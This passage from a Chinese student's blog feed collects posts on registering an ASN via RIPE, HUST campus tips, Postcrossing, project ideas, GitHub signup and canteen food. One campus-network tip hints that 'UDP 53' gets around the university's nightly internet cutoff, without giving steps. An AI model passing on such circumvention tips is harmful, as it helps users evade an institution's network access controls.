  <p style="">（公司身份）你公司的注册文件等</p>
 </li>
 <li>
  <p style="">RIPE 管理区内的网络活动证明（你欧洲 VPS 的发票，也有可能会被要机房地址等信息）</p>
 </li>
 <li>
  <p style="">你的联系方式（姓名、电子邮件、地址等）</p>
 </li>
</ul>
<p style="">有的商家提供一条龙服务，但有的商家并不会帮你建立 RIPE DB 条目，在申请前要和 LIR 问清楚。</p>
<p style="">材料清单可参考：<a href="https://lir.zhnet.co.uk/asn-setup-zhcn">ASN 申请快速指北 - RIPE NCC</a>，但还是要以自己找的 LIR 为准。</p>
<h3 style="" id="1.2-%E7%94%B3%E8%AF%B7%E6%B5%81%E7%A8%8B">1.2 申请流程</h3>
<ol>
 <li>
  <p style="">按照你 LIR 的要求提交材料，交钱</p>
 </li>
 <li>
  <p style="">和 LIR 签协议</p>
 </li>
 <li>
  <p style="">LIR 把材料全部交到 RIPE</p>
 </li>
 <li>
  <p style="">等（指 Wait）</p>
 </li>
</ol>
<p style="">LIR 提交材料后，如果你是以个人身份申请，那么 LIR 会给你发一个 iDenfy 的认证链接，尽快用身份证验证就好。</p>
<p style="">中途如果你的材料有问题，RIPE 可能会要求你提供补充材料，属实是中奖了（我就中奖了）</p>
<p style="">总之别急，LIR 提交材料后大约 1-3 个工作日你就会知道下一步进展了。</p>
<p style=""></p>
<p style="">RIPE 审核结束后，你的 LIR 就会收到同意发放 ASN 的通知，然后 LIR 会把消息转给你。</p>
<blockquote>
 <p style="">Today, the RIPE NCC assigned the following Autonomous System Number:</p>
 <p style="">ASxxxxxx to xxxxxxx</p>
</blockquote>
<p style=""><s>当然，你也可以每天去 RIPE 的网页视奸（</s></p>
<h3 style="" id="1.3-%E7%84%B6%E5%90%8E%E5%91%A2%EF%BC%9F">1.3 然后呢？</h3>
<p style="">拿到 ASN 可以说是只是完成了万里长征的 <strong>第一步</strong>。</p>
<p style="">鉴于 IRR 和 RPKI 配置已经是现在互联网安全性的重要保障，而且很多上游和 peer 都强制进行 RPKI 校验，强烈建议直接把 IRR 和 RPKI 配好。IRR <strong>需要自己配置</strong>，而 RPKI <strong>只能 </strong>由 LIR 配置。（因为你的 IP 块实际上是 LIR 所有的）</p>
<p style="">RPKI: Resource Public Key Infrastructure - 资源公钥基础设施</p>
<p style="">IRR: Internet Routing Registry - 互联网路由注册表</p>
<p style="">简要说，它们能够证明这一段 IP 由某个自治系统 (AS) 掌控，以防有人恶意劫持互联网，或有人配错设置导致误劫持互联网的一部分。</p>
<p style="">建议拿到 ASN 后直接去找 LIR 说你要配 RPKI，LIR 配好后会告诉你。</p>
<h3 style="" id="1.4-%E9%85%8D%E7%BD%AE-irr">1.4 配置 IRR</h3>
<p style="">配置 IRR 非常的简单，比你想象的要简单很多。</p>
<ol>
 <li>
  <p style="">到 RIPE NCC 的控制面板添加一个数据库条目 (Create an object)。</p>
 </li>
 <li>
  <p style="">选择添加 route6 条目（因为我们要广播 IPv6 地址，如果你是有 IPv4 地址块的富哥，那你需要添加 route 条目）</p>
 </li>
 <li>
  <p style="">在 route(6) 栏输入你的地址块前缀 (Prefix)，在 origin 栏输入你的 ASN（包括前面的 AS 字母）</p>
 </li>
 <li>
  <p style="">Submit!</p>
 </li>
</ol>
<p style="">创建好之后就完成了。</p>
<hr>
<h2 style="" id="2-%E7%BB%93%E6%9D%9F%E4%BA%86%EF%BC%9F">2 结束了？</h2>
<p style="">结束了。<s>是不是很简单呢，你也快来注册 ASN 吧</s></p>
<p style="">经此一役，我们已经有了一个 ASN 和一个 IPv6 地址块。</p>
<p style="">不过，意料之中的，现在我们并不能直接使用这些资源，在接下来（如果我没有摆）的更新中，<s>应该</s> 会介绍 IP 广播，接入 IXP 等后续操作。</p>
<blockquote>
 <p style="">Last-Updated: 2024/12/4 14:33</p>
</blockquote>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/asn-registration-ep1</guid><dc:creator>GoForceX</dc:creator><category>技术</category><pubDate>Sat, 30 Nov 2024 08:54:18 GMT</pubDate></item><item><title><![CDATA[华科冷知识集合地]]></title><link>https://goforcex.top/archives/fun-fact-at-hust</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=%E5%8D%8E%E7%A7%91%E5%86%B7%E7%9F%A5%E8%AF%86%E9%9B%86%E5%90%88%E5%9C%B0&amp;url=/archives/fun-fact-at-hust" width="1" height="1" alt="" style="opacity:0;">
<blockquote>
 <p style=""><strong>在华科，我真的什么都不知道.jpg</strong></p>
</blockquote>
<p style="">写在前面：本文用于记录华科的各种 <strong>难以查找 </strong>或者 <strong>没什么人知道 </strong>的小知识<strong>。</strong>问就是踩坑了（悲）
 <br>
 <img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=https%3A%2F%2Fvv.cdn.goforcex.top%2Fwebp%2F%25E5%25B0%25B1%25E8%25AE%25A9%25E4%25BB%2596%25E4%25BB%25AC%25E7%25BB%25A7%25E7%25BB%25AD%25E7%2595%2599%25E5%259C%25A8%25E9%25BB%2591%25E6%259A%2597%25E4%25B8%25AD%25E7%258A%25AF%25E5%2582%25BB%25E5%2590%25A7.webp&amp;size=m" width="50%" height="auto" style="display: inline-block"></p>
<h2 style="" id="%E9%82%AE%E6%94%BF%E6%96%B9%E9%9D%A2">邮政方面</h2>
<ul>
 <li>
  <p style=""><s>校内的邮筒很多处于无人维护状态，投进去的信至少一段时间内是不会真正寄出的，想要寄信/明信片的话建议考虑邮局。
    <br>如果你是认真想寄的，或者如果你不想被连续丢十几件的话，建议考虑快递寄文件。</s>
   <br>
   <strong>不要用邮筒！！！会变得不幸，导致我的信件全部丢失 (Update: 20241120)</strong></p>
 </li>
 <li>
  <p style="">收到的信怎么取？</p>
  <ul>
   <li>
    <p style="">学校的 <strong>邮政服务中心 </strong>收到你的信后，根据上面有没有 <strong>写手机号</strong>，会通过两种方式通知你取信。</p>
    <ul>
     <li>
      <p style="">如果 <strong>写了手机号</strong>，那么工作人员会给你发一条短信，格式基本为“您好，你的编号为 xxx 号挂号信……”</p>
     </li>
     <li>
      <p style="">如果 <strong>没写手机号</strong>，那么你的寝室楼下某天就会突然出现一张通知单，上面写着收件人姓名和编号。</p>
     </li>
    </ul>
   </li>
   <li>
    <p style="">现在你有了编号，就可以拿着你的 <strong>校园卡/身份证 </strong>到邮政服务中心（位于老档案馆负一楼，图书馆北侧，顺着青年园边上走就能看见，<strong>注意不是邮局！</strong>）取信了。</p>
   </li>
   <li>
    <p style="">你问我国际平信怎么办？<s>目前我一封邮路测试信都没有收到，等待中。</s>
     <br>
     <strong>可以收到！！！运送时间目测正常，但是地址最好写详细一点。(Update: 20241204)</strong></p>
   </li>
   <li>
    <p style="">校内能不能给校内寄信？实测 <strong>可以，但寄达率极低 (Update: 20241129)</strong>。
     <br>
     具体原因未知，不过校内寄信好像也没什么意义。</p>
   </li>
  </ul>
 </li>
</ul>
<h2 style="" id="%E6%A0%A1%E5%9B%AD%E5%8D%A1%E6%96%B9%E9%9D%A2">校园卡方面</h2>
<ul>
 <li>
  <p style="">你把钱不小心全都充到 <strong>电子账户/卡账户</strong> 里了？</p>
  <ul>
   <li>
    <p style="">问题不大，去任意一个食堂都会有的自助机上，在账户间转账里会有卡账户和电子账户互转的选项。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="">过渡余额是什么？</p>
  <ul>
   <li>
    <p style="">你 <strong>刚 </strong>充值进去的钱。去任意一个食堂窗口刷一下或者自助机操作就能进入卡账户了。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="">宿舍楼的饮水机能不能用手机 NFC 刷卡？</p>
  <ul>
   <li>
    <p style=""><strong>不行。</strong>但是有个比较神奇的操作。饮水机是先扣费 0.5 元，然后第二次刷卡时返还剩余费用。但是如果你第二次用其他的任意卡刷卡，也会停止出水，但是剩余费用就没了。<s>血亏 0.5 元</s></p>
   </li>
  </ul>
 </li>
 <li>
  <p style="">电子账户的钱到底能干什么啊？</p>
  <ul>
   <li>
    <p style="">交网费和电费，其他的好像使用频率都不太高？</p>
   </li>
  </ul>
 </li>
</ul>
<h2 style="" id="%E6%A0%A1%E5%9B%AD%E7%BD%91%E6%96%B9%E9%9D%A2">校园网方面</h2>
<ul>
 <li>
  <p style="">话说有没有公网 IP 什么的？</p>
  <ul>
   <li>
    <p style="">有公网 IPv6，v4 就别想了。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="">我不想连校园网，又想连只有校园网内能用的服务，怎么办？</p>
  <ul>
   <li>
    <p style="">你可能需要办一个校园网 <strong>VPN</strong>。大一可办，几乎没什么门槛，审批比较松，快冲吧！</p>
   </li>
   <li>
    <p style="">不过校园网 <strong>VPN </strong>连通性比较抽象，不建议一直连着用。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="">我欠费了，但是要连校园网才能充值，怎么办？</p>
  <ul>
   <li>
    <p style="">登录校园网的时候在学号后面加上 <strong><u>@hust</u></strong>，让你获得 10 分钟临时上网权限，每月可用 3 次。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="">我是可怜的本科生，半夜没有校园网用怎么办？</p>
  <ul>
   <li>
    <p style="">UDP 53 解君愁。具体操作方法请自行搜索，真的可以。</p>
   </li>
  </ul>
 </li>
</ul>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/fun-fact-at-hust</guid><dc:creator>GoForceX</dc:creator><category>生活</category><pubDate>Tue, 12 Nov 2024 12:41:26 GMT</pubDate></item><item><title><![CDATA[Postcrossing —— 明信片连接世界]]></title><link>https://goforcex.top/archives/postcrossing-intro</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=Postcrossing%20%E2%80%94%E2%80%94%20%E6%98%8E%E4%BF%A1%E7%89%87%E8%BF%9E%E6%8E%A5%E4%B8%96%E7%95%8C&amp;url=/archives/postcrossing-intro" width="1" height="1" alt="" style="opacity:0;">
<p style=""><s>什么？你问我中国邮政是不是还活着？</s></p>
<p style=""><s>逐渐红温.jpg</s></p>
<p style="">注: 在下文中，若无特殊说明，PC 均指 Postcrossing。</p>
<h2 style="" id="pc-%E6%98%AF%E4%BB%80%E4%B9%88%EF%BC%9F">PC 是什么？</h2>
<p style="">Postcrossing，顾名思义，就是明信片交换的意思。</p>
<p style="">而同名的网站，则是世界上最大的明信片交换平台，<a href="https://postcrossing.com" target="_blank">postcrossing.com</a>。</p>
<p style="">在这里，来自世界各国的 80 余万爱好者已经寄出了近 8000 万张明信片，路程能绕地球 1000 万余圈。</p>
<p style=""><s>不觉得这很酷吗？作为一名理工男我觉得这太酷了……后面忘了。</s></p>
<h2 style="" id="%E6%98%8E%E4%BF%A1%E7%89%87%E4%BA%A4%E6%8D%A2%E6%98%AF%E4%BB%80%E4%B9%88%E6%84%8F%E6%80%9D%EF%BC%9F">明信片交换是什么意思？</h2>
<p style="">PC 上的明信片交换流程基本如下：</p>
<ul>
 <li>
  <p style="">在网站上申请一个明信片号码，网站会在全部可收件的用户里为你随机选出一个幸运收件人。</p>
 </li>
 <li>
  <p style="">你把精心准备的明信片按照给出的地址寄出。</p>
 </li>
 <li>
  <p style="">对方收到后，在网站上登记明信片（“确认收货”）</p>
 </li>
 <li>
  <p style="">你的寄出明信片数量+1，之后在其他人申请明信片号码时，你就有可能会被选中。</p>
 </li>
</ul>
<p style="">网站的实际机制其实比这个复杂很多，比如新人同时可寄出的明信片数量有限制，保证收与寄的数量持平等。</p>
<h2 style="" id="pc-%E6%9C%89%E4%BB%80%E4%B9%88%E5%A5%BD%E7%8E%A9%E7%9A%84%EF%BC%9F">PC 有什么好玩的？</h2>
<p style="">最重要的一点，那就是可以有机会和世界各地的人进行交流。</p>
<p style="">通过 PC，也能从实物了解世界各国、各地的文化。</p>
<p style="">当你结束了忙碌的一天终于回家的时候，信箱里的明信片也在默默的等待着你。</p>
<h2 style="" id="%E4%BD%A0%E4%B9%9F%E6%83%B3%E7%8E%A9%E4%BA%86%E5%90%97%EF%BC%9F">你也想玩了吗？</h2>
<p style="">光速快进到 <a href="https://postcrossing.com" target="_blank">postcrossing.com</a> 狠狠注册账号吧！</p>
<p style="">从网上购入一些明信片和邮票，PC 旅程就顺利的开始了！</p>
<p style="">或者你也可以<a href="https://goforcex.top/about" target="_blank">狠狠联系我</a>，来进行私下换片！</p>
<h2 style="" id="q%26a">Q&amp;A</h2>
<h3 style="" id="%E4%B8%8D%E8%A7%89%E5%BE%97%E5%B9%B3%E4%BF%A1%E5%BE%88%E4%B8%8D%E9%9D%A0%E8%B0%B1%E5%90%97%EF%BC%9F%E5%BE%88%E5%AE%B9%E6%98%93%E4%B8%A2%E4%BB%B6%E5%90%A7%EF%BC%9F">不觉得平信很不靠谱吗？很容易丢件吧？</h3>
<p style="">之前是这样的，不过现在邮政也很完善了，至少我来华科之前还没碰到过丢信的现象。来了华科之后丢件量也是极少数。</p>
<p style="">(2024/11/14 Update: 不要用华科校内邮筒寄信，会变得不幸)</p>
<h3 style="" id="%E5%9B%BD%E9%99%85%E9%82%AE%E4%BB%B6%E5%90%AC%E8%B5%B7%E6%9D%A5%E5%B0%B1%E5%BE%88%E8%B4%B5%E5%90%A7%EF%BC%9F">国际邮件听起来就很贵吧？</h3>
<p style="">明信片的话，中国邮政的价格是 5 元一张（国际）或 0.8 元一张（中国大陆）。<s>谁让中国是发展中国家呢</s></p>
<p style="">淘宝去买 5 折上下的打折邮票的话，就只需要 2.5 元一张（国际）或 0.4 元一张（中国大陆）了。</p>
<p style="">特殊的，寄往港澳台的价格介于国际和大陆件之间的，目前是 4 元一张（打折后 2 元一张）。</p>
<p style="">以上价格均为航空明信片价格，水陆路太慢且不靠谱，十分不建议为了省几毛钱多等好几个月。</p>]]></description><guid isPermaLink="false">/archives/postcrossing-intro</guid><dc:creator>GoForceX</dc:creator><category>生活</category><pubDate>Thu, 17 Oct 2024 14:56:59 GMT</pubDate></item><item><title><![CDATA[灵感聚集地]]></title><link>https://goforcex.top/archives/things-todo-and-things-forgotten</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=%E7%81%B5%E6%84%9F%E8%81%9A%E9%9B%86%E5%9C%B0&amp;url=/archives/things-todo-and-things-forgotten" width="1" height="1" alt="" style="opacity:0;">
<p style="">观前注意：</p>
<ol>
 <li>
  <p style="">根据个人既往记录，写在这里面的东西真的做出来的几率<strong>无限接近 0</strong>（</p>
 </li>
 <li>
  <p style=""><strong>可</strong>问“为什么没做xxx”，可能说的人多的话真的会做。</p>
 </li>
</ol>
<h2 style="" id="%E4%B8%80%E4%BA%9B%E4%B8%AD%E8%AF%91%E4%B8%AD%E5%B0%8F%E5%B7%A5%E5%85%B7">一些中译中小工具</h2>
<p style=""><span fontsize="" color="rgb(59, 130, 246)" style="color: rgb(59, 130, 246)"><mark data-color="#fde047" style="background-color: #fde047; color: inherit">被同学借走做项目了（乐）</mark></span></p>
<p style="">添加日期：2024/10/9</p>
<p style="">当前状态：构思中 (2024/10/15)</p>
<p style="">可行性：中高</p>
<p style="">基本思路：</p>
<p style="">对于不同长度的原文进行不同处理：</p>
<ol>
 <li>
  <p style="">对于长度较短的，通过 RAG 试图补全上下文，<strong>扩充</strong>出<strong>较为符合</strong>原本意思的结果。</p>
 </li>
 <li>
  <p style="">对于长度较长的，直接随便写个 Prompt 貌似就能用（</p>
 </li>
</ol>
<p style="">同时，人工对知识库进行补充。</p>
<h4 style="" id="%E4%BA%8B%E5%89%8D%E5%B0%8F%E6%B5%8B">事前小测</h4>
<p style="">Test Case #1</p>
<p style=""><img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F0352d2ddefdb0cd562803ae7191f6c92-jlsy.jpg&amp;size=m" width="25%" height="auto" style="display: inline-block"></p>
<p style="">LLM: 请帮我预留一些时间，我们安排一个会议来细化工作内容，并确定优先级（P0和P1）。在会议中，我会解释这项任务的核心逻辑，帮助你更好地把握关键点，从而确保整个项目能够顺利完成。</p>
<h2 style="" id="%E5%B0%8F%E7%8C%BF%E5%8F%A3%E7%AE%97%E5%B0%8F%E8%84%9A%E6%9C%AC">小猿口算小脚本</h2>
<p style="">添加日期：2024/10/9</p>
<p style="">当前状态：已完成 (2024/10/10) <s>构思中 (2024/10/9)</s></p>
<p style="">Repo：<a href="https://github.com/GoForceX/MaaXiaoYuan">GoForceX/MaaXiaoYuan: [PoC] 基于 MAA 的小猿口算脚本</a></p>
<h2 style="" id="hust-api">HUST API</h2>
<p style="">添加日期：2024/10/12</p>
<p style="">当前状态：搁置中 (2024/12/16) <s>开发中 (2024/11/14)</s> <s>构思中 (2024/11/11)</s></p>
<p style="">可行性：中→中低</p>
<p style="">有什么用？</p>
<ul>
 <li>
  <p style="">写一个更便捷的华中大微校园（刷不出界面的痛）</p>
 </li>
 <li>
  <p style="">一些整活小工具</p>
  <ul>
   <li>
    <p style="">校园卡消费记录一键整理（难度：中低，搞个年终报告？）</p>
   </li>
   <li>
    <p style="">电表余额不足自动提醒（难度：低，<s>HUST Bot</s>）</p>
   </li>
  </ul>
 </li>
 <li>
  <p style=""><mark data-color="#fef08a" style="background-color: #fef08a; color: inherit">其他项目不用自己写这部分逻辑了</mark></p>
 </li>
</ul>
<p style="">原来已经有人写了 Python 版，那没事了。</p>
<p style=""><a href="https://github.com/MarvinTerry/HustLogin">MarvinTerry/HustLogin: A python-lib for authenticating HustPass@2023</a></p>
<p style=""><s>现在是 Flutter 时间！</s></p>
<p style=""><a href="https://github.com/GoForceX/hustlogin"><s>GoForceX/hustlogin: 哈思特烙个印 for dart. 我们 Flutter 也要有自己的 hustlogin.</s></a></p>
<h2 style="" id="%E5%85%B1%E4%BA%AB%E6%97%A5%E5%8E%86">共享日历</h2>
<p style="">添加日期：2024/10/22</p>
<p style="">当前状态：构思中 (2024/10/23)</p>
<p style="">可行性：中高→中</p>
<p style="">来源：整个寝室都忘记去开班会了导致的</p>
<p style="">每个人可以编辑自己的日历并添加日程，以分享码的形式分享给他人，导入后可自动订阅</p>
<p style="">不过这种软件现在怎么可能没有呢（</p>
<h2 style="" id="huster-%E7%88%B1%E4%B8%8A%E8%AF%BE">HUSTer 爱上课</h2>
<p style="">添加日期：2024/10/31</p>
<p style="">当前状态：构思中 (2024/10/31)</p>
<p style="">可行性：中→中低</p>
<ol>
 <li>
  <p style="">根据每周课表计算舒适度</p>
 </li>
 <li>
  <p style="">给用户一个校内排名</p>
 </li>
 <li>
  <p style="">根据排名给客户匹配一个虚拟形象以供分享。</p>
 </li>
</ol>
<p style="">一言以蔽之：早八数量大比拼，不过其他课也在舒适度计算范围内</p>
<p style="">有点像 B 站 / 网易云的抽象小活动，可以生成一个带虚拟形象的图片朋友圈分享用</p>
<h2 style="" id="%E5%BF%AB%E9%80%92%E5%B0%8F%E5%8A%A9%E6%89%8B">快递小助手</h2>
<p style="">添加日期：2024/11/14</p>
<p style="">当前状态：构思中 (2024/11/14)</p>
<p style="">可行性：中低→低</p>
<ul>
 <li>
  <p style="">东区人苦快递久已，菜鸟、兔喜、短信的快递消息错综复杂，平台众多，其中还有重合</p>
 </li>
 <li>
  <p style="">移动端桌面小组件直接显示全部待取快递（地点、取件码，或许加一个物品信息？）</p>
 </li>
 <li>
  <p style="">但是各大平台基本上都没有开放 API，能不能做暂且存疑。</p>
 </li>
</ul>
<h2 style="" id="vv-%E8%A1%A8%E6%83%85%E5%8C%85%E5%9F%BA%E7%A1%80%E8%AE%BE%E6%96%BD">vv 表情包基础设施</h2>
<p style="">添加日期：2024/11/14</p>
<p style="">当前状态：搭建中 (2024/11/14)</p>
<ol>
 <li>
  <p style="">vv 表情包 API</p>
 </li>
</ol>
<p style="text-indent: 2em">当前状态：已完成 (2024/11/12) →v3 (2024/12/8)</p>
<p style="text-indent: 2em">Endpoint: <a href="https://vv.cdn.goforcex.top/" target="_blank">https://vv.cdn.goforcex.top/</a></p>
<p style="text-indent: 2em">文件列表: <a href="https://vv.cdn.goforcex.top/files.json" target="_blank">/files.json</a></p>
<ol start="2">
 <li>
  <p style="">一个小网站，可以方便的搜索 vv 表情包。</p>
 </li>
</ol>
<p style="text-indent: 2em">当前状态：完善中 (2024/12/11) <s>计划中 (2024/11/14)</s></p>
<p style="text-indent: 2em">嘻嘻：<a href="https://vv.goforcex.top/" target="_blank">https://vv.goforcex.top/</a></p>
<ol start="3">
 <li>
  <p style="">基于 Embedding / 向量数据库 的 vv 表情包模糊搜索，结合 LLM 做一个 vvbot（？）</p>
 </li>
</ol>
<p style="text-indent: 2em">当前状态：计划中 (2024/11/14)</p>
<h2 style="" id="the-bridge">The Bridge</h2>
<p style="">添加日期：2024/11/26</p>
<p style="">当前状态：构思中 (2024/11/26)</p>
<p style="">可行性：低</p>
<ul>
 <li>
  <p style="">一个不同 IM 通信平台的信息中转服务（比如 QQ↔微信，QQ↔TG/DC 等？）</p>
 </li>
 <li>
  <p style="">感觉实现本身不算难？但是适配就有点太抽象了</p>
 </li>
 <li>
  <p style="">本身是个不错的想法，但是没这个实力做了（悲）</p>
 </li>
</ul>
<h2 style="" id="hust-bot">HUST Bot</h2>
<p style="">添加日期：2024/12/16</p>
<p style="">当前状态：构思中 (2024/12/16)</p>
<p style="">可行性：中高</p>
<ul>
 <li>
  <p style="">众所周知，华科有很多冷知识，网上搜不到，在新生群也很难问到</p>
 </li>
 <li>
  <p style="">这是一个 Bot，基于关键词查询/LLM RAG，根据问题搜索对应的答案</p>
 </li>
</ul>
<h2 style="" id="huster-%E7%88%B1%E5%B7%A5%E4%BD%9C">HUSTer 爱工作</h2>
<p style="">添加日期：2024/12/16</p>
<p style="">当前状态：构思中 (2024/12/16)</p>
<p style="">可行性：低</p>
<ul>
 <li>
  <p style="">校内的找工作平台，不是长期工作，而是类似 fiverr 的平台</p>
 </li>
 <li>
  <p style="">提供打零工的机会，包括干活，写东西等</p>
 </li>
</ul>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/things-todo-and-things-forgotten</guid><dc:creator>GoForceX</dc:creator><category>默认分类</category><pubDate>Tue, 15 Oct 2024 06:52:58 GMT</pubDate></item><item><title><![CDATA[写给大学新生的 GitHub 注册指南]]></title><link>https://goforcex.top/archives/github-signup-guide-for-beginners</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=%E5%86%99%E7%BB%99%E5%A4%A7%E5%AD%A6%E6%96%B0%E7%94%9F%E7%9A%84%20GitHub%20%E6%B3%A8%E5%86%8C%E6%8C%87%E5%8D%97&amp;url=/archives/github-signup-guide-for-beginners" width="1" height="1" alt="" style="opacity:0;">
<blockquote>
 <p style="">本人也是开发新手，但在身边看到不少不会注册 GitHub 的同学，因此以自己粗浅的认识写下了本文。</p>
 <p style="">希望能帮到有需要的同学们。</p>
</blockquote>
<h2 style="" id="%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E6%B3%A8%E5%86%8C-github%EF%BC%9F">为什么要注册 GitHub？</h2>
<p style="">GitHub 是世界上最大的代码托管平台。</p>
<p style="">在 GitHub 上，你不仅可以托管代码，也可以和全世界的程序员交流，为开源项目做出贡献等。</p>
<p style="">而且 GitHub 还有很多实用性的功能，如 Copilot、Codespaces 等，实用性极强。</p>
<h2 style="" id="%E9%82%A3%E4%B9%88%E6%80%8E%E4%B9%88%E6%B3%A8%E5%86%8C%E5%91%A2%EF%BC%9F">那么怎么注册呢？</h2>
<ol>
 <li>
  <p style=""><u>速速跳转→</u><a href="https://github.com/signup" target="_blank"><u>https://github.com/signup</u></a></p>
 </li>
 <li>
  <p style="">点击进入后，界面大约如下图所示：</p>
 </li>
</ol>
<p style=""><img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fimage-wddw.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="text-indent: 2em">点击箭头后的空白区域，并输入你的电子邮箱地址，最后再点击 Continue.</p>
<ol start="3">
 <li>
  <p style="">再输入你的密码，同上，点击 Continue 继续下一步。</p>
  <ul>
   <li>
    <p style="">对于密码，GitHub 建议用户设置为<strong>至少</strong> 15 位长，或者<strong>至少</strong> 8 位长的<strong>字母数字组合</strong>。</p>
   </li>
   <li>
    <p style="">为了安全考虑，个人建议使用密码管理工具，并使用<strong>随机生成</strong>的密码，以保持不同平台的密码不同。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="">再输入你想设置的用户名，该用户名不能与其他用户重复。</p>
  <ul>
   <li>
    <p style=""><strong><u>请特别注意</u></strong>，用户名虽然在注册后<strong>可以</strong>更改，但会产生很多麻烦，个人建议在考虑充分后再设置用户名。</p>
   </li>
  </ul>
 </li>
 <li>
  <p style="">再选择你是否想要接收 GitHub 的产品更新邮件，<strong>非必选</strong>。</p>
 </li>
 <li>
  <p style="">进入下一页后，你<strong>可能</strong>需要完成验证码，在验证码之后，GitHub 会向你所填写的电子邮箱发送一个验证码，填写验证码后，你的 GitHub 账号即注册完成。</p>
 </li>
 <li>
  <p style="">登录你的 GitHub 账号，并完成 GitHub 的个性化问卷。</p>
  <ul>
   <li>
    <p style="">懒得做的话可以点下面的 Skip personalization.</p>
   </li>
  </ul>
 </li>
</ol>
<p style="">喜报，<s>不出意外的话</s>，你的 GitHub 账号现已注册完毕了。</p>
<h2 style="" id="%E4%BD%A0%E8%AF%B4%E4%BD%A0%E8%BF%98%E4%B8%8D%E4%BC%9A%E7%94%A8-git%EF%BC%9F">你说你还不会用 Git？</h2>
<p style="">关于 Git 的相关配置，在 GitHub 上有很详细的教程。</p>
<ol start="0">
 <li>
  <p style="">让 Git 能用: <a href="https://docs.github.com/zh/get-started/getting-started-with-git/set-up-git" target="_blank">设置 Git - GitHub 文档</a></p>
 </li>
 <li>
  <p style="">让 Git 与 GitHub 协同作战: <a href="https://docs.github.com/zh/get-started/getting-started-with-git/caching-your-github-credentials-in-git">在 Git 中缓存 GitHub 凭据 - GitHub 文档</a></p>
 </li>
 <li>
  <p style="">证明你的代码真的是你上传的:</p>
  <ol>
   <li>
    <p style=""><a href="https://docs.github.com/zh/authentication/managing-commit-signature-verification/generating-a-new-gpg-key">生成新 GPG 密钥 - GitHub 文档</a></p>
   </li>
   <li>
    <p style=""><a href="https://docs.github.com/zh/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account">将 GPG 密钥添加到 GitHub 帐户 - GitHub 文档</a></p>
   </li>
   <li>
    <p style=""><a href="https://docs.github.com/zh/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key">将您的签名密钥告知 Git - GitHub 文档</a></p>
   </li>
  </ol>
 </li>
</ol>
<h2 style="" id="%E4%BB%80%E4%B9%88%EF%BC%9F%E4%BD%A0%E8%AF%B4%E4%BD%A0%E6%98%AF%E6%9D%A5%E7%99%BD%E5%AB%96%E7%9A%84%EF%BC%9F">什么？你说你是来白嫖的？</h2>
<p style=""><s>那你确实没来错地方。</s></p>
<p style="">要说起学生优惠，那 GitHub Education（俗称学生包）是不得不提的了。</p>
<p style="">学生包申请地址→<a href="https://education.github.com/discount_requests/application">Get your GitHub benefits - GitHub Education</a></p>
<p style="">学生包优惠都有啥？→<a href="https://education.github.com/pack">GitHub Student Developer Pack - GitHub Education</a> <s>谁说对了就给他</s></p>
<p style=""><img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fimage-qfrb.png&amp;size=m" width="100%" height="100%" style="display: inline-block"></p>
<p style="">输入你的学校名称，然后点击 Continue. GitHub 可能会要求你绑定学校的电子邮箱，这可以<strong>极大地降低申请的难度</strong>。</p>
<p style="">不过如果你没有学校的邮箱，也是可以申请的，但是你<strong>需要上传录取通知书、校园卡等证明信息</strong>。</p>]]></description><guid isPermaLink="false">/archives/github-signup-guide-for-beginners</guid><dc:creator>GoForceX</dc:creator><category>效率</category><pubDate>Fri, 27 Sep 2024 13:54:01 GMT</pubDate></item><item><title><![CDATA[一个新生的华科饮食推荐]]></title><link>https://goforcex.top/archives/delicious-in-hust</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=%E4%B8%80%E4%B8%AA%E6%96%B0%E7%94%9F%E7%9A%84%E5%8D%8E%E7%A7%91%E9%A5%AE%E9%A3%9F%E6%8E%A8%E8%8D%90&amp;url=/archives/delicious-in-hust" width="1" height="1" alt="" style="opacity:0;">
<blockquote>
 <p style="">推荐范围仅限本人吃过<strong>多次</strong>的。</p>
 <p style="">什么，你问我为什么没有xx？那你最好再看一眼题目。</p>
 <p style=""><s>其实主要是给自己看的（</s></p>
</blockquote>
<h2 style="" id="%E9%A3%9F%E5%A0%82">食堂</h2>
<h3 style="" id="%E4%B8%9C%E5%9B%AD">东园</h3>
<h4 style="" id="%E4%B8%9C%E5%9B%AD%E4%B8%80%E5%B1%82">东园一层</h4>
<p style="">铁板饭</p>
<p style="text-indent: 2em">推荐牛肉 + 黑椒。主打一个热乎，可以说是色香味俱全了。</p>
<p style="text-indent: 2em"><span fontsize="" color="rgb(239, 68, 68)" style="color: rgb(239, 68, 68)">*</span>用餐高峰期可能排队时间较长。</p>
<h4 style="" id="%E4%B8%9C%E5%9B%AD%E4%B8%89%E5%B1%82">东园三层</h4>
<p style="">全都是自助餐，没记错的话价格是 1.4 元 / 两。性价比高，好吃，强力推荐！</p>
<p style=""><span fontsize="" color="rgb(239, 68, 68)" style="color: rgb(239, 68, 68)">*</span>用餐高峰期可能较为拥挤，很难找到空座位。</p>
<h3 style="" id="%E5%AD%A6%E4%B8%80%E9%A3%9F%E5%A0%82">学一食堂</h3>
<h4 style="" id="%E4%B8%80%E6%A5%BC">一楼</h4>
<p style="">云南米线</p>
